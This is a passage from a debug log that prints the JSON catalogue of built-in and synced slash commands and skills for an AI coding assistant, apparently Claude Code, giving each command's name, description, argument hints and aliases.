\"verify\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Verify that a code change actually does what it's supposed to by exercising it end-to-end and observing behavior \u2014 drive the affected flow, not just tests or typecheck. Run before committing nontrivial changes; bootstraps this repo's project verify skill if none exists yet. Don't invoke it on a diff that only touches tests, docs, or other code with no runtime surface to drive (a change to product source always has one) \u2014 there's nothing to observe.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"debug\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Enable debug logging for this session and help diagnose issues\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[issue description]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"code-review\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Review the current diff, or a PR number/branch/path target, for correctness bugs (plus reuse/simplification/efficiency cleanups where the model's review recipe covers them) at the given effort level (low/medium: fewer, high-confidence findings; high\u2192max: broader coverage, may include uncertain findings; ultra: deep multi-agent review in the cloud); with no level given, it reuses the level you typed last. Pass --comment to post findings as inline PR comments, or --fix to apply the findings to the working tree after the review. For ultra on a GitHub.com PR target, --post asks to post the finished review\u2019s findings to the PR as a single comment from the user\u2019s GitHub account (not a review; the launch dialog still confirms in interactive sessions, while non-interactive mode posts on the flag alone) and --no-post hides that option.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[low|medium|high|xhigh|max|ultra] [--fix] [--comment] [||]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"review\"\n[2026-09-29T07:43:30.244Z] [INFO]       ],\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"simplify\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Review the changed code for reuse, simplification, efficiency, and altitude cleanups, then apply the fixes. Quality only \u2014 it does not hunt for bugs; use /code-review for that.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"batch\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Research and plan a large-scale change, then execute it in parallel across 5\u201330 isolated worktree agents that each open a PR.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"fewer-permission-prompts\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Scan your transcripts for common read-only Bash and MCP tool calls, then add a prioritized allowlist to project .claude/settings.json to reduce permission prompts.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"doctor\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Health-check the user's Claude Code setup and fix issues: diagnose installation health \u2014 what the `claude doctor` terminal diagnostics cover \u2014 from local data (duplicate or leftover installs, PATH, unparseable settings files, broken or colliding agent definitions, skills whose frontmatter fails to parse); find unused skills, MCP servers, and plugins versus their context cost and disable dead weight; deduplicate local CLAUDE.md files against checked-in ones; trim checked-in CLAUDE.md files by cutting content a session could derive from the codebase (directory layouts, tech-stack lists, architecture overviews) while keeping gotchas, rationale, and non-standard conventions; migrate always-loaded CLAUDE.md guidance into lazy skills and nested CLAUDE.md files; flag slow hooks and context-heavy extensions; check the installed version is current; make auto mode the default permission mode; and pre-approve frequently denied read-only commands. Use when the user asks for a doctor run, checkup, audit, tune-up, or cleanup of their Claude Code setup or configuration.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[prompt-audit []]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"checkup\"\n[2026-09-29T07:43:30.244Z] [INFO]       ],\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"docs\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"docs (living docs people share, comment on and edit; use only when the user asks for one: names a doc, document, page, memo, spec, PRD, runbook or write-up, asks for somewhere to share or keep editing something, or says yes to your doc offer; a plan, comparison, summary or notes asked in chat stays in chat (at most a one-line doc offer); a report, status update, recap or \\\"something I can send them\\\" with no form named \u2192 ask first: reply, doc or file?; tabs hold tables and live charts too; a pasted claude.ai/code/artifact/\u2026 link may be a doc: check with docs tools first; not HTML pages, apps or plain chat answers; a .docx/.pptx/.xlsx/PDF asked for by name \u2192 that format's skill): asked for one \u2192 no docs-connector instructions in context? call the docs connector's `guide` with topic.instructions first, then create the doc (headings only, no body) before any search, file read or plan, even with files attached. Documenting code means docstrings or repo docs, not a doc. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:docs\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"google-workspace\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Read this before the first Google Drive, Docs, Sheets or Slides connector call whenever the task creates or changes a Google file. Use this skill whenever the user wants to create or change a Google Doc, Sheet or Slides file in their Google Drive. Triggers include: a request that names Google Docs, Sheets, Slides or Drive and asks to make, edit, format, copy or rename a file; a docs.google.com link with a request to change that file, even a one-line fix or suggested edits; and any follow-up change to a Google file from earlier in the chat, even \\\"change it\\\" or \\\"add a tab\\\". Includes helper scripts for document positions, cell ranges and slide layout. However, if the user asks for a doc, deck or spreadsheet without naming Google, or gives a Google file only as source material for something new, use Claude's own output type instead. Do NOT use for read-only questions about a Google file, or for Word, Excel, PowerPoint or PDF files. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:google-workspace\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"computer-use\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Read this skill before the first step of any request to do something in an app on the person's own computer (Notes, Finder, System Settings, any desktop app), to look at their screen, or for \\\"computer use\\\". Computer use (desktop control) lets Claude take screenshots of the person's desktop and control it with clicks, typing and scrolling through the Claude desktop app; its tools are named mcp__computer-use__* when the session runs in the desktop app and mcp__remote-devices__computer_* when a cloud session is linked to the person's computer; before computer use is turned on for a conversation there may be no such tools, only an enable__mcp__remote-devices__computer tool, which turns it on. It covers turning it on, picking the right tool, the access flow, and the safety rules for tiered apps, links and financial actions. It is not for websites, which go through Claude in Chrome or the built-in browser and their own skills. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:computer-use\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"chrome-browser\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Read this skill before the first step that uses Claude in Chrome, the browser extension whose tools are named mcp__claude-in-chrome__* (also called Chrome, the browser extension, or the external browser) and which acts in the person's real Chrome with their own sign-ins; before those tools are turned on there may be a single enable__mcp__claude-in-chrome tool instead. It covers loading the tools in one ToolSearch call, checking the person's open tabs and working in a new tab, site permissions, GIF recordings, console logs, dialogs to avoid, and when to stop and ask. It is not for the built-in browser (mcp__Claude_Browser__* or mcp__remote-devices__Claude_Browser__* tools), which has its own skill, and it does not decide which browser to use. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:chrome-browser\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"built-in-browser\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Read this skill before the first step that uses the built-in browser, the browser pane inside the Claude desktop app (also called the in-app browser, the browser pane, Claude's browser, or \\\"your own browser\\\"), whose tools are named mcp__Claude_Browser__* when the session runs in the desktop app and mcp__remote-devices__Claude_Browser__* when a cloud session is linked to the person's computer; before those tools are turned on there may be a single enable__mcp__remote-devices__Claude_Browser tool instead. It covers the pane's persistent sign-ins, tabs and preview_start, reading pages as text, site approvals, what the pane cannot open, and what to do when it cannot be reached. It is not for Claude in Chrome (mcp__claude-in-chrome__* tools), which has its own skill, and it does not decide which browser to use. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:built-in-browser\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"anthropic-skills:deep-research\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Use this skill when the user's prompt requires (1) researching a topic across multiple sources, comparing options or alternatives, analyzing trends or history, understanding markets or industries, or reviewing literature or studies and (2) synthesizing that research into a comprehensive, narrative report. If you're planning to search the web or internal knowledge bases, consider using this skill. This skill coordinates research subagents, so use it only when you have a tool for spawning subagents (the Agent or Task tool); otherwise, research the question directly. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\"\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"import-memory\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Import a memory export from another AI assistant into Claude's memory \u2014 conversationally, additively, and with the content treated as data. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:import-memory\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"morning\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Render the user's morning brief as a styled HTML artifact, or set it up as a recurring weekday task. Use only when the user explicitly asks to run, see, or set up their morning brief, or if they invoke /morning by name. A question about their day, schedule, or calendar is not by itself a request for the brief; answer it directly instead. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:morning\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"skill-creator\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Create new skills, modify and improve existing skills, and measure skill performance. Use when users want to create a skill from scratch, edit, or optimize an existing skill, run evals to test a skill, benchmark skill performance with variance analysis, or optimize a skill's description for better triggering accuracy. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:skill-creator\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"xlsx\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Use this skill any time a spreadsheet file is the primary input or output. This means any task where the user wants to: open, read, edit, or fix an existing .xlsx, .xlsm, .xltx, .csv, or .tsv file (e.g., adding columns, computing formulas, formatting, charting, cleaning messy data); create a new spreadsheet from scratch or from other data sources; or convert between tabular file formats. Trigger especially when the user references a spreadsheet file by name or path \u2014 even casually (like \\\"the xlsx in my downloads\\\") \u2014 and wants something done to it or produced from it. Also trigger for cleaning or restructuring messy tabular data files (malformed rows, misplaced headers, junk data) into proper spreadsheets. The deliverable must be a spreadsheet file. Do NOT trigger when the primary deliverable is a Word document, HTML report, standalone Python script, database pipeline, or Google Sheets API integration, even if tabular data is involved. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:xlsx\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"pptx\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Use this skill any time a .pptx or .potx file is involved in any way \u2014 as input, output, or both. This includes: creating slide decks, pitch decks, or presentations as PowerPoint (.pptx) files; reading, parsing, or extracting text from any .pptx or .potx file (even if the extracted content will be used elsewhere, like in an email, summary, or creating a different type of slide deck); editing, modifying, or updating existing presentations; combining or splitting slide files; working with templates (.potx), layouts, speaker notes, or comments. Trigger whenever the user asks for a PowerPoint or .pptx file, or references a .pptx or .potx filename, regardless of what they plan to do with the content afterward. However, when the user asks for a deck, slides, a slide deck, or a presentation without naming a file format, default to using a dedicated slide-deck artifact type or a separate slides skill if this session offers one; otherwise, use this skill. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:pptx\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"pdf\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Use this skill whenever the user wants to do anything with PDF files. This includes reading or extracting text/tables from PDFs, combining or merging multiple PDFs into one, splitting PDFs apart, rotating pages, adding watermarks, creating new PDFs, filling PDF forms, encrypting/decrypting PDFs, extracting images, and OCR on scanned PDFs to make them searchable. If the user mentions a .pdf file or asks to produce one, use this skill. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:pdf\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"docx\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Use this skill whenever the user wants to create, read, edit, or manipulate Word documents (.docx) or Word templates (.dotx). Triggers include: any mention of Microsoft Word Documents, such as 'Word doc', 'word document', '.docx', '.dotx', 'microsoft doc'. Also use when extracting or reorganizing content from .docx or .dotx files, inserting or replacing images in documents, find-and-replace in Word files, working with tracked changes or comments, or converting content into a polished Word document. If the user asks for a deliverable as a Word or .docx file (to download, email or print), use this skill. However, if they ask for a document, page, report, memo, or notes WITHOUT naming a file format and the session offers Claude's own dedicated document or page skill or connector, use that instead, even if they will email or print it. Do NOT use for PDFs, spreadsheets, Google Docs, or coding unrelated to document generation. (claude.ai sync)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"anthropic-skills:docx\"\n[2026-09-29T07:43:30.244Z] [INFO]       ]\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"schedule\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Create, update, list, or run scheduled cloud agents (routines) that execute on a cron schedule.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"routines\"\n[2026-09-29T07:43:30.244Z] [INFO]       ],\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"claude-api\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Reference for the Claude API / Anthropic SDK \u2014 model ids, pricing, params, streaming, tool use, MCP, agents, caching, token counting, model migration.\\nTRIGGER \u2014 read BEFORE opening the target file; don't skip because it \\\"looks like a one-liner\\\" \u2014 whenever: the prompt names Claude/Anthropic in any form (Claude, Anthropic, Fable, Opus, Sonnet, Haiku, `anthropic`, `@anthropic-ai`, `claude-*`, `us.anthropic.*`, `[1m]`); the user asks about an LLM (pricing/model choice/limits/caching) \u2014 never answer from memory; OR the task is LLM-shaped with provider unstated (agent/MCP/tool-definition/multi-agent/RAG/LLM-judge/computer-use; generate/summarize/extract/classify/rewrite/converse over NL; debugging refusals/cutoffs/streaming/tool-calls/tokens).\\nSKIP only when another provider is being worked on (overrides all triggers): OpenAI/GPT/Gemini/Llama/Mistral/Cohere/Ollama named in the query; OR `grep -rE 'openai|langchain_openai|google.generativeai|genai|mistralai|cohere|ollama'` over the project hits (run this grep FIRST if no provider named \u2014 don't Read the file).\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"workflow-authoring\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Reference for writing a Workflow tool script (script API and gotchas, resume, quality patterns, worked examples). Load before authoring a script for a workflow the user already opted into; it does not itself authorize running one.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"run\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Launch and drive this project's app to see a change working. Use when asked to run, start, or screenshot the app, or to confirm a change works in the real app (not just tests). First looks for a project skill that already covers launching the app; otherwise falls back to built-in patterns per project type (CLI, server, TUI, Electron, browser-driven, library).\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"run-skill-generator\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Author or improve the run- skill - a per-project skill that tells agents how to build, launch, and drive this project's app. Use when the user asks to set up the project, get it running, write run instructions, or verify build/run steps work from a clean environment.\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"advisor\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Let Claude consult a stronger model at key moments\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[fable|opus|sonnet|off]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"agents\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"(removed) Ask Claude to create/manage subagents, or edit .claude/agents/\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"auto-mode-setup\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Teach auto mode about your environment, plus optional rule tweaks\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[--request-id ] (--wizard posture=\u2026 scope=\u2026 depth=\u2026 --propose | --expect-sha256 <64-hex> --apply-file )\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"autocompact\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Configure the auto-compact window size\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[auto|]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"clear\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Start a new session with empty context; previous session stays on disk (resumable with /resume)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[name]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"reset\",\n[2026-09-29T07:43:30.244Z] [INFO]         \"new\"\n[2026-09-29T07:43:30.244Z] [INFO]       ],\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"color\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Set the prompt bar color for this session\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[red|blue|green|yellow|purple|orange|pink|cyan|default]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"compact\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Free up context by summarizing the conversation so far\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"config\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Set a setting by key\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"key=value\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:30.244Z] [INFO]         \"settings\"\n[2026-09-29T07:43:30.244Z] [INFO]       ],\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"output-style\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"List output styles or switch to one\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[style]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"context\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Show current context usage\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"effort\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Set effort level for model usage\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"fast\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Toggle fast mode (Opus 5.5)\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[on|off]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"focus\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Toggle focus view: just your prompt, summary, and response\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[on|off]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"heapdump\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Dump the JS heap to the Desktop; on Linux with no Desktop folder, the home directory\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"init\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Initialize a new CLAUDE.md file with codebase documentation\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"mcp\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Manage MCP servers\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"[reconnect|enable|disable [|all]]\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:30.244Z] [INFO]     },\n[2026-09-29T07:43:30.244Z] [INFO]     {\n[2026-09-29T07:43:30.244Z] [INFO]       \"name\": \"import\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"description\": \"Import config from another AI coding agent\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:30.244Z] [INFO]       \"builtin\": 